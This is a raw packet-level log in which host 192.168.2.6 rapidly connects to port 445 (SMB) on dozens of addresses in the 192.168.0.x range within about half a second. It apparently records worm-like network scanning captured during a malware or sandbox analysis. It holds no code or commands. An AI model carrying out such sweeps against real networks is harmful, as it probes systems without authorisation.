Jul 6, 2024 14:11:22.544178963 CEST	50036	445	192.168.2.6	192.168.0.202
Jul 6, 2024 14:11:22.544178963 CEST	50036	445	192.168.2.6	192.168.0.202
Jul 6, 2024 14:11:22.548465014 CEST	445	50035	192.168.0.74	192.168.2.6
Jul 6, 2024 14:11:22.548548937 CEST	445	50035	192.168.0.74	192.168.2.6
Jul 6, 2024 14:11:22.548576117 CEST	50035	445	192.168.2.6	192.168.0.74
Jul 6, 2024 14:11:22.553489923 CEST	445	50035	192.168.0.74	192.168.2.6
Jul 6, 2024 14:11:22.555413961 CEST	50037	445	192.168.2.6	192.168.0.203
Jul 6, 2024 14:11:22.557817936 CEST	445	50036	192.168.0.202	192.168.2.6
Jul 6, 2024 14:11:22.558789015 CEST	50036	445	192.168.2.6	192.168.0.202
Jul 6, 2024 14:11:22.560489893 CEST	445	50037	192.168.0.203	192.168.2.6
Jul 6, 2024 14:11:22.560746908 CEST	50037	445	192.168.2.6	192.168.0.203
Jul 6, 2024 14:11:22.560746908 CEST	50037	445	192.168.2.6	192.168.0.203
Jul 6, 2024 14:11:22.566323996 CEST	445	50037	192.168.0.203	192.168.2.6
Jul 6, 2024 14:11:22.566420078 CEST	50037	445	192.168.2.6	192.168.0.203
Jul 6, 2024 14:11:22.569660902 CEST	50038	445	192.168.2.6	192.168.0.75
Jul 6, 2024 14:11:22.569938898 CEST	50039	445	192.168.2.6	192.168.0.76
Jul 6, 2024 14:11:22.570991993 CEST	50040	445	192.168.2.6	192.168.0.204
Jul 6, 2024 14:11:22.574703932 CEST	445	50038	192.168.0.75	192.168.2.6
Jul 6, 2024 14:11:22.574863911 CEST	50038	445	192.168.2.6	192.168.0.75
Jul 6, 2024 14:11:22.574899912 CEST	50038	445	192.168.2.6	192.168.0.75
Jul 6, 2024 14:11:22.574961901 CEST	445	50039	192.168.0.76	192.168.2.6
Jul 6, 2024 14:11:22.575849056 CEST	50039	445	192.168.2.6	192.168.0.76
Jul 6, 2024 14:11:22.575849056 CEST	50039	445	192.168.2.6	192.168.0.76
Jul 6, 2024 14:11:22.576113939 CEST	445	50040	192.168.0.204	192.168.2.6
Jul 6, 2024 14:11:22.577941895 CEST	50040	445	192.168.2.6	192.168.0.204
Jul 6, 2024 14:11:22.577941895 CEST	50040	445	192.168.2.6	192.168.0.204
Jul 6, 2024 14:11:22.580034971 CEST	445	50038	192.168.0.75	192.168.2.6
Jul 6, 2024 14:11:22.580404997 CEST	445	50038	192.168.0.75	192.168.2.6
Jul 6, 2024 14:11:22.581875086 CEST	445	50039	192.168.0.76	192.168.2.6
Jul 6, 2024 14:11:22.582483053 CEST	445	50039	192.168.0.76	192.168.2.6
Jul 6, 2024 14:11:22.586285114 CEST	445	50040	192.168.0.204	192.168.2.6
Jul 6, 2024 14:11:22.589284897 CEST	50041	445	192.168.2.6	192.168.0.205
Jul 6, 2024 14:11:22.589284897 CEST	50040	445	192.168.2.6	192.168.0.204
Jul 6, 2024 14:11:22.594839096 CEST	445	50041	192.168.0.205	192.168.2.6
Jul 6, 2024 14:11:22.594958067 CEST	50041	445	192.168.2.6	192.168.0.205
Jul 6, 2024 14:11:22.595045090 CEST	50041	445	192.168.2.6	192.168.0.205
Jul 6, 2024 14:11:22.600739956 CEST	50042	445	192.168.2.6	192.168.0.78
Jul 6, 2024 14:11:22.600769997 CEST	50043	445	192.168.2.6	192.168.0.77
Jul 6, 2024 14:11:22.600963116 CEST	50044	445	192.168.2.6	192.168.0.79
Jul 6, 2024 14:11:22.601255894 CEST	50045	445	192.168.2.6	192.168.0.206
Jul 6, 2024 14:11:22.602967978 CEST	445	50041	192.168.0.205	192.168.2.6
Jul 6, 2024 14:11:22.602983952 CEST	445	50041	192.168.0.205	192.168.2.6
Jul 6, 2024 14:11:22.603023052 CEST	50041	445	192.168.2.6	192.168.0.205
Jul 6, 2024 14:11:22.607004881 CEST	445	50042	192.168.0.78	192.168.2.6
Jul 6, 2024 14:11:22.607063055 CEST	445	50043	192.168.0.77	192.168.2.6
Jul 6, 2024 14:11:22.607072115 CEST	50042	445	192.168.2.6	192.168.0.78
Jul 6, 2024 14:11:22.607119083 CEST	50043	445	192.168.2.6	192.168.0.77
Jul 6, 2024 14:11:22.607147932 CEST	50042	445	192.168.2.6	192.168.0.78
Jul 6, 2024 14:11:22.607147932 CEST	445	50044	192.168.0.79	192.168.2.6
Jul 6, 2024 14:11:22.607167959 CEST	445	50045	192.168.0.206	192.168.2.6
Jul 6, 2024 14:11:22.607193947 CEST	50044	445	192.168.2.6	192.168.0.79
Jul 6, 2024 14:11:22.607242107 CEST	50045	445	192.168.2.6	192.168.0.206
Jul 6, 2024 14:11:22.607254028 CEST	50044	445	192.168.2.6	192.168.0.79
Jul 6, 2024 14:11:22.607319117 CEST	50043	445	192.168.2.6	192.168.0.77
Jul 6, 2024 14:11:22.607362986 CEST	50045	445	192.168.2.6	192.168.0.206
Jul 6, 2024 14:11:22.615804911 CEST	445	50042	192.168.0.78	192.168.2.6
Jul 6, 2024 14:11:22.615813971 CEST	445	50044	192.168.0.79	192.168.2.6
Jul 6, 2024 14:11:22.616023064 CEST	445	50043	192.168.0.77	192.168.2.6
Jul 6, 2024 14:11:22.616245031 CEST	50046	445	192.168.2.6	192.168.0.80
Jul 6, 2024 14:11:22.617156982 CEST	50047	445	192.168.2.6	192.168.0.207
Jul 6, 2024 14:11:22.623024940 CEST	445	50045	192.168.0.206	192.168.2.6
Jul 6, 2024 14:11:22.623100996 CEST	445	50019	192.168.0.193	192.168.2.6
Jul 6, 2024 14:11:22.623152018 CEST	50019	445	192.168.2.6	192.168.0.193
Jul 6, 2024 14:11:22.623364925 CEST	445	50046	192.168.0.80	192.168.2.6
Jul 6, 2024 14:11:22.623466969 CEST	50046	445	192.168.2.6	192.168.0.80
Jul 6, 2024 14:11:22.623552084 CEST	50046	445	192.168.2.6	192.168.0.80
Jul 6, 2024 14:11:22.624422073 CEST	445	50042	192.168.0.78	192.168.2.6
Jul 6, 2024 14:11:22.625227928 CEST	445	50047	192.168.0.207	192.168.2.6
Jul 6, 2024 14:11:22.625282049 CEST	50047	445	192.168.2.6	192.168.0.207
Jul 6, 2024 14:11:22.625366926 CEST	50047	445	192.168.2.6	192.168.0.207
Jul 6, 2024 14:11:22.628179073 CEST	445	50043	192.168.0.77	192.168.2.6
Jul 6, 2024 14:11:22.628357887 CEST	445	50044	192.168.0.79	192.168.2.6
Jul 6, 2024 14:11:22.628834009 CEST	445	50045	192.168.0.206	192.168.2.6
Jul 6, 2024 14:11:22.628892899 CEST	50045	445	192.168.2.6	192.168.0.206
Jul 6, 2024 14:11:22.628912926 CEST	445	50046	192.168.0.80	192.168.2.6
Jul 6, 2024 14:11:22.630774975 CEST	445	50046	192.168.0.80	192.168.2.6
Jul 6, 2024 14:11:22.632447958 CEST	50048	445	192.168.2.6	192.168.0.208
Jul 6, 2024 14:11:22.632622957 CEST	445	50047	192.168.0.207	192.168.2.6
Jul 6, 2024 14:11:22.632672071 CEST	50047	445	192.168.2.6	192.168.0.207
Jul 6, 2024 14:11:22.640999079 CEST	445	50048	192.168.0.208	192.168.2.6
Jul 6, 2024 14:11:22.641066074 CEST	50048	445	192.168.2.6	192.168.0.208
Jul 6, 2024 14:11:22.641154051 CEST	50048	445	192.168.2.6	192.168.0.208
Jul 6, 2024 14:11:22.646517038 CEST	445	50048	192.168.0.208	192.168.2.6
Jul 6, 2024 14:11:22.646759987 CEST	50048	445	192.168.2.6	192.168.0.208
Jul 6, 2024 14:11:22.647545099 CEST	50049	445	192.168.2.6	192.168.0.81
Jul 6, 2024 14:11:22.647598982 CEST	50050	445	192.168.2.6	192.168.0.82
Jul 6, 2024 14:11:22.647895098 CEST	50051	445	192.168.2.6	192.168.0.209
Jul 6, 2024 14:11:22.655145884 CEST	445	50049	192.168.0.81	192.168.2.6
Jul 6, 2024 14:11:22.655198097 CEST	445	50050	192.168.0.82	192.168.2.6
Jul 6, 2024 14:11:22.655208111 CEST	445	50051	192.168.0.209	192.168.2.6
Jul 6, 2024 14:11:22.655268908 CEST	50049	445	192.168.2.6	192.168.0.81
Jul 6, 2024 14:11:22.655302048 CEST	50050	445	192.168.2.6	192.168.0.82
Jul 6, 2024 14:11:22.655304909 CEST	50051	445	192.168.2.6	192.168.0.209
Jul 6, 2024 14:11:22.655355930 CEST	50049	445	192.168.2.6	192.168.0.81
Jul 6, 2024 14:11:22.655472040 CEST	50050	445	192.168.2.6	192.168.0.82
Jul 6, 2024 14:11:22.655508041 CEST	50051	445	192.168.2.6	192.168.0.209
Jul 6, 2024 14:11:22.660274982 CEST	445	50049	192.168.0.81	192.168.2.6
Jul 6, 2024 14:11:22.660501957 CEST	445	50050	192.168.0.82	192.168.2.6
Jul 6, 2024 14:11:22.660511017 CEST	445	50049	192.168.0.81	192.168.2.6
Jul 6, 2024 14:11:22.660860062 CEST	445	50050	192.168.0.82	192.168.2.6
Jul 6, 2024 14:11:22.661286116 CEST	445	50051	192.168.0.209	192.168.2.6
Jul 6, 2024 14:11:22.661340952 CEST	50051	445	192.168.2.6	192.168.0.209
Jul 6, 2024 14:11:22.664156914 CEST	50052	445	192.168.2.6	192.168.0.210
Jul 6, 2024 14:11:22.669141054 CEST	445	50052	192.168.0.210	192.168.2.6
Jul 6, 2024 14:11:22.669281006 CEST	50052	445	192.168.2.6	192.168.0.210
Jul 6, 2024 14:11:22.669358015 CEST	50052	445	192.168.2.6	192.168.0.210
Jul 6, 2024 14:11:22.675170898 CEST	445	50052	192.168.0.210	192.168.2.6
Jul 6, 2024 14:11:22.675237894 CEST	50052	445	192.168.2.6	192.168.0.210
Jul 6, 2024 14:11:22.678932905 CEST	50053	445	192.168.2.6	192.168.0.83
Jul 6, 2024 14:11:22.678986073 CEST	50054	445	192.168.2.6	192.168.0.84
Jul 6, 2024 14:11:22.679563046 CEST	50055	445	192.168.2.6	192.168.0.211
Jul 6, 2024 14:11:22.684776068 CEST	445	50053	192.168.0.83	192.168.2.6
Jul 6, 2024 14:11:22.684830904 CEST	445	50054	192.168.0.84	192.168.2.6
Jul 6, 2024 14:11:22.684848070 CEST	445	50055	192.168.0.211	192.168.2.6
Jul 6, 2024 14:11:22.684873104 CEST	50054	445	192.168.2.6	192.168.0.84
Jul 6, 2024 14:11:22.684896946 CEST	50055	445	192.168.2.6	192.168.0.211
Jul 6, 2024 14:11:22.684992075 CEST	50053	445	192.168.2.6	192.168.0.83
Jul 6, 2024 14:11:22.684992075 CEST	50053	445	192.168.2.6	192.168.0.83
Jul 6, 2024 14:11:22.685095072 CEST	50055	445	192.168.2.6	192.168.0.211
Jul 6, 2024 14:11:22.689944983 CEST	445	50054	192.168.0.84	192.168.2.6
Jul 6, 2024 14:11:22.689990997 CEST	50054	445	192.168.2.6	192.168.0.84
Jul 6, 2024 14:11:22.690218925 CEST	445	50055	192.168.0.211	192.168.2.6
Jul 6, 2024 14:11:22.690268993 CEST	50055	445	192.168.2.6	192.168.0.211
Jul 6, 2024 14:11:22.690526962 CEST	445	50053	192.168.0.83	192.168.2.6
Jul 6, 2024 14:11:22.690581083 CEST	50053	445	192.168.2.6	192.168.0.83
Jul 6, 2024 14:11:22.691405058 CEST	445	50053	192.168.0.83	192.168.2.6
Jul 6, 2024 14:11:22.694911957 CEST	50056	445	192.168.2.6	192.168.0.212
Jul 6, 2024 14:11:22.695327044 CEST	445	50053	192.168.0.83	192.168.2.6
Jul 6, 2024 14:11:22.702020884 CEST	445	50056	192.168.0.212	192.168.2.6
Jul 6, 2024 14:11:22.702613115 CEST	50056	445	192.168.2.6	192.168.0.212
Jul 6, 2024 14:11:22.702613115 CEST	50056	445	192.168.2.6	192.168.0.212
Jul 6, 2024 14:11:22.708071947 CEST	445	50056	192.168.0.212	192.168.2.6
Jul 6, 2024 14:11:22.708106995 CEST	445	50056	192.168.0.212	192.168.2.6
Jul 6, 2024 14:11:22.708780050 CEST	50056	445	192.168.2.6	192.168.0.212
Jul 6, 2024 14:11:22.710189104 CEST	50057	445	192.168.2.6	192.168.0.85
Jul 6, 2024 14:11:22.710321903 CEST	50058	445	192.168.2.6	192.168.0.213
Jul 6, 2024 14:11:22.715071917 CEST	445	50057	192.168.0.85	192.168.2.6
Jul 6, 2024 14:11:22.715181112 CEST	445	50058	192.168.0.213	192.168.2.6
Jul 6, 2024 14:11:22.715269089 CEST	50058	445	192.168.2.6	192.168.0.213
Jul 6, 2024 14:11:22.715347052 CEST	50058	445	192.168.2.6	192.168.0.213
Jul 6, 2024 14:11:22.715753078 CEST	50057	445	192.168.2.6	192.168.0.85
Jul 6, 2024 14:11:22.715753078 CEST	50057	445	192.168.2.6	192.168.0.85
Jul 6, 2024 14:11:22.720673084 CEST	445	50058	192.168.0.213	192.168.2.6
Jul 6, 2024 14:11:22.720719099 CEST	50058	445	192.168.2.6	192.168.0.213
Jul 6, 2024 14:11:22.721159935 CEST	445	50057	192.168.0.85	192.168.2.6
Jul 6, 2024 14:11:22.721168995 CEST	445	50057	192.168.0.85	192.168.2.6
Jul 6, 2024 14:11:22.721211910 CEST	50057	445	192.168.2.6	192.168.0.85
Jul 6, 2024 14:11:22.725765944 CEST	50059	445	192.168.2.6	192.168.0.214
Jul 6, 2024 14:11:22.726344109 CEST	445	50057	192.168.0.85	192.168.2.6
Jul 6, 2024 14:11:22.730668068 CEST	445	50059	192.168.0.214	192.168.2.6
Jul 6, 2024 14:11:22.730775118 CEST	50059	445	192.168.2.6	192.168.0.214
Jul 6, 2024 14:11:22.730837107 CEST	50059	445	192.168.2.6	192.168.0.214
Jul 6, 2024 14:11:22.738269091 CEST	445	50059	192.168.0.214	192.168.2.6
Jul 6, 2024 14:11:22.738375902 CEST	50059	445	192.168.2.6	192.168.0.214
Jul 6, 2024 14:11:22.741287947 CEST	50060	445	192.168.2.6	192.168.0.87
Jul 6, 2024 14:11:22.741287947 CEST	50061	445	192.168.2.6	192.168.0.86
Jul 6, 2024 14:11:22.741636038 CEST	50062	445	192.168.2.6	192.168.0.215
Jul 6, 2024 14:11:22.746085882 CEST	445	50060	192.168.0.87	192.168.2.6
Jul 6, 2024 14:11:22.746098042 CEST	445	50061	192.168.0.86	192.168.2.6
Jul 6, 2024 14:11:22.746165037 CEST	50060	445	192.168.2.6	192.168.0.87
Jul 6, 2024 14:11:22.746165037 CEST	50061	445	192.168.2.6	192.168.0.86
Jul 6, 2024 14:11:22.746243954 CEST	50061	445	192.168.2.6	192.168.0.86
Jul 6, 2024 14:11:22.746280909 CEST	50060	445	192.168.2.6	192.168.0.87
Jul 6, 2024 14:11:22.746382952 CEST	445	50062	192.168.0.215	192.168.2.6
Jul 6, 2024 14:11:22.746526003 CEST	50062	445	192.168.2.6	192.168.0.215
Jul 6, 2024 14:11:22.746526957 CEST	50062	445	192.168.2.6	192.168.0.215
Jul 6, 2024 14:11:22.751173019 CEST	445	50061	192.168.0.86	192.168.2.6
Jul 6, 2024 14:11:22.751331091 CEST	445	50060	192.168.0.87	192.168.2.6
Jul 6, 2024 14:11:22.752728939 CEST	445	50061	192.168.0.86	192.168.2.6
Jul 6, 2024 14:11:22.753226042 CEST	445	50062	192.168.0.215	192.168.2.6
Jul 6, 2024 14:11:22.753304958 CEST	50062	445	192.168.2.6	192.168.0.215
Jul 6, 2024 14:11:22.756876945 CEST	50063	445	192.168.2.6	192.168.0.88
Jul 6, 2024 14:11:22.757039070 CEST	50064	445	192.168.2.6	192.168.0.216
Jul 6, 2024 14:11:22.761806011 CEST	445	50063	192.168.0.88	192.168.2.6
Jul 6, 2024 14:11:22.761869907 CEST	50063	445	192.168.2.6	192.168.0.88
Jul 6, 2024 14:11:22.761945009 CEST	50063	445	192.168.2.6	192.168.0.88
Jul 6, 2024 14:11:22.762105942 CEST	445	50064	192.168.0.216	192.168.2.6
Jul 6, 2024 14:11:22.762228012 CEST	50064	445	192.168.2.6	192.168.0.216
Jul 6, 2024 14:11:22.762228012 CEST	50064	445	192.168.2.6	192.168.0.216
Jul 6, 2024 14:11:22.767067909 CEST	445	50063	192.168.0.88	192.168.2.6
Jul 6, 2024 14:11:22.767077923 CEST	445	50063	192.168.0.88	192.168.2.6
Jul 6, 2024 14:11:22.767447948 CEST	445	50064	192.168.0.216	192.168.2.6
Jul 6, 2024 14:11:22.767541885 CEST	50064	445	192.168.2.6	192.168.0.216
Jul 6, 2024 14:11:22.767580986 CEST	50063	445	192.168.2.6	192.168.0.88
Jul 6, 2024 14:11:22.773072958 CEST	50065	445	192.168.2.6	192.168.0.217
Jul 6, 2024 14:11:22.773298025 CEST	445	50063	192.168.0.88	192.168.2.6
Jul 6, 2024 14:11:22.779171944 CEST	445	50065	192.168.0.217	192.168.2.6
Jul 6, 2024 14:11:22.779279947 CEST	50065	445	192.168.2.6	192.168.0.217
Jul 6, 2024 14:11:22.779386044 CEST	50065	445	192.168.2.6	192.168.0.217
Jul 6, 2024 14:11:22.784744978 CEST	445	50065	192.168.0.217	192.168.2.6
Jul 6, 2024 14:11:22.784809113 CEST	50065	445	192.168.2.6	192.168.0.217
Jul 6, 2024 14:11:22.788774014 CEST	50066	445	192.168.2.6	192.168.0.218
Jul 6, 2024 14:11:22.793500900 CEST	445	50066	192.168.0.218	192.168.2.6
Jul 6, 2024 14:11:22.793565989 CEST	50066	445	192.168.2.6	192.168.0.218
Jul 6, 2024 14:11:22.793705940 CEST	50066	445	192.168.2.6	192.168.0.218
Jul 6, 2024 14:11:22.798816919 CEST	445	50066	192.168.0.218	192.168.2.6
Jul 6, 2024 14:11:22.798856974 CEST	445	50066	192.168.0.218	192.168.2.6
Jul 6, 2024 14:11:22.799143076 CEST	50066	445	192.168.2.6	192.168.0.218
Jul 6, 2024 14:11:22.803884983 CEST	50067	445	192.168.2.6	192.168.0.90
Jul 6, 2024 14:11:22.804142952 CEST	50068	445	192.168.2.6	192.168.0.89
Jul 6, 2024 14:11:22.804214001 CEST	50069	445	192.168.2.6	192.168.0.219
Jul 6, 2024 14:11:22.809012890 CEST	445	50067	192.168.0.90	192.168.2.6
Jul 6, 2024 14:11:22.809061050 CEST	445	50068	192.168.0.89	192.168.2.6
Jul 6, 2024 14:11:22.809140921 CEST	50068	445	192.168.2.6	192.168.0.89
Jul 6, 2024 14:11:22.809170961 CEST	445	50069	192.168.0.219	192.168.2.6
Jul 6, 2024 14:11:22.809218884 CEST	50069	445	192.168.2.6	192.168.0.219
Jul 6, 2024 14:11:22.809267044 CEST	50068	445	192.168.2.6	192.168.0.89
Jul 6, 2024 14:11:22.809361935 CEST	50069	445	192.168.2.6	192.168.0.219
Jul 6, 2024 14:11:22.814152956 CEST	445	50068	192.168.0.89	192.168.2.6
Jul 6, 2024 14:11:22.814232111 CEST	445	50068	192.168.0.89	192.168.2.6
Jul 6, 2024 14:11:22.814470053 CEST	445	50069	192.168.0.219	192.168.2.6
Jul 6, 2024 14:11:22.814553976 CEST	50067	445	192.168.2.6	192.168.0.90
Jul 6, 2024 14:11:22.814553976 CEST	50067	445	192.168.2.6	192.168.0.90
Jul 6, 2024 14:11:22.814568043 CEST	50069	445	192.168.2.6	192.168.0.219
Jul 6, 2024 14:11:22.819761992 CEST	50070	445	192.168.2.6	192.168.0.220
Jul 6, 2024 14:11:22.820745945 CEST	445	50067	192.168.0.90	192.168.2.6
Jul 6, 2024 14:11:22.820935965 CEST	445	50067	192.168.0.90	192.168.2.6
Jul 6, 2024 14:11:22.824791908 CEST	445	50070	192.168.0.220	192.168.2.6
Jul 6, 2024 14:11:22.829967976 CEST	50070	445	192.168.2.6	192.168.0.220
Jul 6, 2024 14:11:22.829967976 CEST	50070	445	192.168.2.6	192.168.0.220
Jul 6, 2024 14:11:22.835382938 CEST	50071	445	192.168.2.6	192.168.0.92
Jul 6, 2024 14:11:22.835541010 CEST	50072	445	192.168.2.6	192.168.0.91
Jul 6, 2024 14:11:22.837747097 CEST	50073	445	192.168.2.6	192.168.0.221
Jul 6, 2024 14:11:22.840174913 CEST	445	50071	192.168.0.92	192.168.2.6
Jul 6, 2024 14:11:22.840240955 CEST	50071	445	192.168.2.6	192.168.0.92
Jul 6, 2024 14:11:22.840312004 CEST	445	50072	192.168.0.91	192.168.2.6
Jul 6, 2024 14:11:22.840337038 CEST	50071	445	192.168.2.6	192.168.0.92
Jul 6, 2024 14:11:22.840368032 CEST	50072	445	192.168.2.6	192.168.0.91
Jul 6, 2024 14:11:22.840420008 CEST	50072	445	192.168.2.6	192.168.0.91
Jul 6, 2024 14:11:22.841068983 CEST	445	50070	192.168.0.220	192.168.2.6
Jul 6, 2024 14:11:22.842511892 CEST	50070	445	192.168.2.6	192.168.0.220
Jul 6, 2024 14:11:22.845108986 CEST	445	50071	192.168.0.92	192.168.2.6
Jul 6, 2024 14:11:22.845118046 CEST	445	50071	192.168.0.92	192.168.2.6
Jul 6, 2024 14:11:22.845257044 CEST	445	50072	192.168.0.91	192.168.2.6
Jul 6, 2024 14:11:22.845561981 CEST	445	50072	192.168.0.91	192.168.2.6
Jul 6, 2024 14:11:22.848527908 CEST	445	50073	192.168.0.221	192.168.2.6
Jul 6, 2024 14:11:22.850856066 CEST	50074	445	192.168.2.6	192.168.0.93
Jul 6, 2024 14:11:22.850903988 CEST	50073	445	192.168.2.6	192.168.0.221
Jul 6, 2024 14:11:22.851077080 CEST	50073	445	192.168.2.6	192.168.0.221
Jul 6, 2024 14:11:22.851164103 CEST	50075	445	192.168.2.6	192.168.0.94
Jul 6, 2024 14:11:22.851494074 CEST	50076	445	192.168.2.6	192.168.0.222
Jul 6, 2024 14:11:22.855739117 CEST	445	50074	192.168.0.93	192.168.2.6
Jul 6, 2024 14:11:22.855828047 CEST	445	50073	192.168.0.221	192.168.2.6
Jul 6, 2024 14:11:22.855878115 CEST	50073	445	192.168.2.6	192.168.0.221
Jul 6, 2024 14:11:22.856000900 CEST	445	50073	192.168.0.221	192.168.2.6
Jul 6, 2024 14:11:22.856056929 CEST	445	50075	192.168.0.94	192.168.2.6
Jul 6, 2024 14:11:22.856390953 CEST	445	50076	192.168.0.222	192.168.2.6
Jul 6, 2024 14:11:22.857239962 CEST	50075	445	192.168.2.6	192.168.0.94
Jul 6, 2024 14:11:22.859127998 CEST	50074	445	192.168.2.6	192.168.0.93
Jul 6, 2024 14:11:22.860136032 CEST	50076	445	192.168.2.6	192.168.0.222
Jul 6, 2024 14:11:22.863451004 CEST	50074	445	192.168.2.6	192.168.0.93
Jul 6, 2024 14:11:22.863629103 CEST	50076	445	192.168.2.6	192.168.0.222
Jul 6, 2024 14:11:22.864402056 CEST	445	50074	192.168.0.93	192.168.2.6
Jul 6, 2024 14:11:22.864943027 CEST	50074	445	192.168.2.6	192.168.0.93
Jul 6, 2024 14:11:22.864958048 CEST	445	50076	192.168.0.222	192.168.2.6
Jul 6, 2024 14:11:22.865019083 CEST	50076	445	192.168.2.6	192.168.0.222
Jul 6, 2024 14:11:22.867331028 CEST	50077	445	192.168.2.6	192.168.0.223
Jul 6, 2024 14:11:22.868531942 CEST	445	50074	192.168.0.93	192.168.2.6
Jul 6, 2024 14:11:22.868590117 CEST	445	50076	192.168.0.222	192.168.2.6
Jul 6, 2024 14:11:22.868597984 CEST	445	50075	192.168.0.94	192.168.2.6
Jul 6, 2024 14:11:22.870251894 CEST	50075	445	192.168.2.6	192.168.0.94
Jul 6, 2024 14:11:22.870251894 CEST	50075	445	192.168.2.6	192.168.0.94
Jul 6, 2024 14:11:22.870942116 CEST	445	50074	192.168.0.93	192.168.2.6
Jul 6, 2024 14:11:22.872201920 CEST	445	50077	192.168.0.223	192.168.2.6
Jul 6, 2024 14:11:22.872281075 CEST	50077	445	192.168.2.6	192.168.0.223
Jul 6, 2024 14:11:22.872389078 CEST	50077	445	192.168.2.6	192.168.0.223
Jul 6, 2024 14:11:22.875053883 CEST	445	50075	192.168.0.94	192.168.2.6
Jul 6, 2024 14:11:22.876296043 CEST	445	50075	192.168.0.94	192.168.2.6
Jul 6, 2024 14:11:22.877408028 CEST	445	50077	192.168.0.223	192.168.2.6
Jul 6, 2024 14:11:22.877425909 CEST	445	50077	192.168.0.223	192.168.2.6
Jul 6, 2024 14:11:22.882261038 CEST	50078	445	192.168.2.6	192.168.0.224
Jul 6, 2024 14:11:22.887362003 CEST	445	50078	192.168.0.224	192.168.2.6
Jul 6, 2024 14:11:22.887455940 CEST	50078	445	192.168.2.6	192.168.0.224
Jul 6, 2024 14:11:22.888438940 CEST	50078	445	192.168.2.6	192.168.0.224
Jul 6, 2024 14:11:22.893682957 CEST	445	50078	192.168.0.224	192.168.2.6
Jul 6, 2024 14:11:22.893769979 CEST	50078	445	192.168.2.6	192.168.0.224
Jul 6, 2024 14:11:22.897736073 CEST	50080	445	192.168.2.6	192.168.0.96
Jul 6, 2024 14:11:22.897840023 CEST	50081	445	192.168.2.6	192.168.0.97
Jul 6, 2024 14:11:22.897876978 CEST	50079	445	192.168.2.6	192.168.0.95
Jul 6, 2024 14:11:22.898173094 CEST	50082	445	192.168.2.6	192.168.0.225
Jul 6, 2024 14:11:22.902460098 CEST	445	50080	192.168.0.96	192.168.2.6
Jul 6, 2024 14:11:22.902574062 CEST	445	50081	192.168.0.97	192.168.2.6
Jul 6, 2024 14:11:22.902971029 CEST	445	50082	192.168.0.225	192.168.2.6
Jul 6, 2024 14:11:22.903251886 CEST	50080	445	192.168.2.6	192.168.0.96
Jul 6, 2024 14:11:22.903251886 CEST	50080	445	192.168.2.6	192.168.0.96
Jul 6, 2024 14:11:22.903251886 CEST	50081	445	192.168.2.6	192.168.0.97
Jul 6, 2024 14:11:22.903251886 CEST	50081	445	192.168.2.6	192.168.0.97
Jul 6, 2024 14:11:22.903997898 CEST	50082	445	192.168.2.6	192.168.0.225
Jul 6, 2024 14:11:22.903997898 CEST	50082	445	192.168.2.6	192.168.0.225
Jul 6, 2024 14:11:22.906158924 CEST	445	50079	192.168.0.95	192.168.2.6
Jul 6, 2024 14:11:22.909204006 CEST	445	50080	192.168.0.96	192.168.2.6
Jul 6, 2024 14:11:22.909213066 CEST	445	50081	192.168.0.97	192.168.2.6
Jul 6, 2024 14:11:22.909372091 CEST	445	50082	192.168.0.225	192.168.2.6
Jul 6, 2024 14:11:22.909517050 CEST	445	50080	192.168.0.96	192.168.2.6
Jul 6, 2024 14:11:22.909524918 CEST	445	50081	192.168.0.97	192.168.2.6
Jul 6, 2024 14:11:22.910353899 CEST	50079	445	192.168.2.6	192.168.0.95
Jul 6, 2024 14:11:22.910353899 CEST	50079	445	192.168.2.6	192.168.0.95
Jul 6, 2024 14:11:22.910756111 CEST	50082	445	192.168.2.6	192.168.0.225
Jul 6, 2024 14:11:22.913525105 CEST	50084	445	192.168.2.6	192.168.0.226
Jul 6, 2024 14:11:22.913949966 CEST	50083	445	192.168.2.6	192.168.0.98
Jul 6, 2024 14:11:22.915445089 CEST	445	50079	192.168.0.95	192.168.2.6
Jul 6, 2024 14:11:22.915453911 CEST	445	50079	192.168.0.95	192.168.2.6
Jul 6, 2024 14:11:22.918926001 CEST	445	50083	192.168.0.98	192.168.2.6
Jul 6, 2024 14:11:22.919256926 CEST	445	50084	192.168.0.226	192.168.2.6
Jul 6, 2024 14:11:22.919332027 CEST	50084	445	192.168.2.6	192.168.0.226
Jul 6, 2024 14:11:22.919428110 CEST	50084	445	192.168.2.6	192.168.0.226
Jul 6, 2024 14:11:22.920348883 CEST	50083	445	192.168.2.6	192.168.0.98
Jul 6, 2024 14:11:22.920348883 CEST	50083	445	192.168.2.6	192.168.0.98
Jul 6, 2024 14:11:22.924160004 CEST	445	50084	192.168.0.226	192.168.2.6
Jul 6, 2024 14:11:22.924206018 CEST	50084	445	192.168.2.6	192.168.0.226
Jul 6, 2024 14:11:22.924664021 CEST	445	50084	192.168.0.226	192.168.2.6
Jul 6, 2024 14:11:22.927804947 CEST	445	50083	192.168.0.98	192.168.2.6
Jul 6, 2024 14:11:22.928067923 CEST	445	50083	192.168.0.98	192.168.2.6
Jul 6, 2024 14:11:22.929107904 CEST	50085	445	192.168.2.6	192.168.0.227
Jul 6, 2024 14:11:22.933932066 CEST	445	50085	192.168.0.227	192.168.2.6
Jul 6, 2024 14:11:22.934063911 CEST	50085	445	192.168.2.6	192.168.0.227
Jul 6, 2024 14:11:22.934103012 CEST	50085	445	192.168.2.6	192.168.0.227
Jul 6, 2024 14:11:22.939084053 CEST	445	50085	192.168.0.227	192.168.2.6
Jul 6, 2024 14:11:22.939215899 CEST	50085	445	192.168.2.6	192.168.0.227
Jul 6, 2024 14:11:22.944442034 CEST	50086	445	192.168.2.6	192.168.0.99
Jul 6, 2024 14:11:22.946881056 CEST	50087	445	192.168.2.6	192.168.0.228
Jul 6, 2024 14:11:22.949255943 CEST	445	50086	192.168.0.99	192.168.2.6
Jul 6, 2024 14:11:22.949322939 CEST	50086	445	192.168.2.6	192.168.0.99
Jul 6, 2024 14:11:22.949444056 CEST	50086	445	192.168.2.6	192.168.0.99
Jul 6, 2024 14:11:22.953747988 CEST	445	50087	192.168.0.228	192.168.2.6
Jul 6, 2024 14:11:22.954250097 CEST	445	50086	192.168.0.99	192.168.2.6
Jul 6, 2024 14:11:22.954737902 CEST	445	50086	192.168.0.99	192.168.2.6
Jul 6, 2024 14:11:22.955451965 CEST	50087	445	192.168.2.6	192.168.0.228
Jul 6, 2024 14:11:22.955451965 CEST	50087	445	192.168.2.6	192.168.0.228
Jul 6, 2024 14:11:22.960711002 CEST	445	50087	192.168.0.228	192.168.2.6
Jul 6, 2024 14:11:22.961170912 CEST	50087	445	192.168.2.6	192.168.0.228
Jul 6, 2024 14:11:22.963049889 CEST	50088	445	192.168.2.6	192.168.0.229
Jul 6, 2024 14:11:22.975435972 CEST	445	50088	192.168.0.229	192.168.2.6
